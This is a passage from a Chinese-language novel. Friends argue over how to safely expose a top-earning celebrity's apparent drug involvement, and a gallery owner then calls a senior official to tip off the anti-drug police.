“不行!”简晓夜紧紧抓住她的手腕,止不住地颤抖,“况星宸是全星桥,乃至全娱乐圈最吸金的艺人之一。他身上压着多少投资巨大的待播剧和电影,你应该比我更清楚。一旦你把这事捅出去,他被全面封杀不要紧,可你有没有想过,那些投资人赔了钱,只会把这笔账算在你的头上。他们不会怪况星宸行为不端,只会怪你‘多管闲事’啊!万一他们联手对你展开报复,你怎么应付得了?” “那也不能就这么放过他啊!”向宁推开简晓夜的手,“没事,我换张临时手机卡,匿名报警就好了。” “别傻了,你以为这样就能做到真正的匿名吗?”简晓夜用足力气抢走她的手机,“那些投资人一个个都不是省油的灯,只要稍稍动用一点人脉,任你藏得再好也得被他们挖出来!逃不掉的。” 向宁知道简晓夜说得没错,可她实在无法对一切坐视不理。 “先通知祝璋姐吧。”枕安适时插话道,“有些事借助她的力量来做,要比咱们自己去做安全许多。” “祝璋?”简晓夜眉头一皱,露出很不信任的表情,语气满是质疑,甚至还带着点讥讽,“你确定她不会包庇况星宸?万一‘她超爱’怎么办?” 枕安十分笃定:“不会的,我保证。” …… 无章美术馆,三楼办公室。 祝璋正在与策展人沟通下周画展的相关事宜,桌上的手机突然震动起来。她瞥了一眼来电显示,是枕安。 她本想挂断,但转念一想,枕安很少在工作时间打扰她,便抬手示意策展人稍等,接起了电话。 刚听对面说了两句话,祝璋的眼神忽而一震,随即迅速恢复了平静。她使了个眼色,策展人立刻会意,轻手轻脚地退了出去,顺手带上了办公室的门。 “消息确切吗?”祝璋的声音依旧平稳,听电话那头详细讲完来龙去脉,随后轻笑了一声,“知道了,你们先回家吧。嗯……回我家也行。” 挂断电话后,祝璋没有片刻耽搁,紧接着又拨通另一个号码。 “许厅长,晚上好。”祝璋没有寒暄,直入主题,“我来做一回热心群众,给禁毒大队的同志们送点业绩。”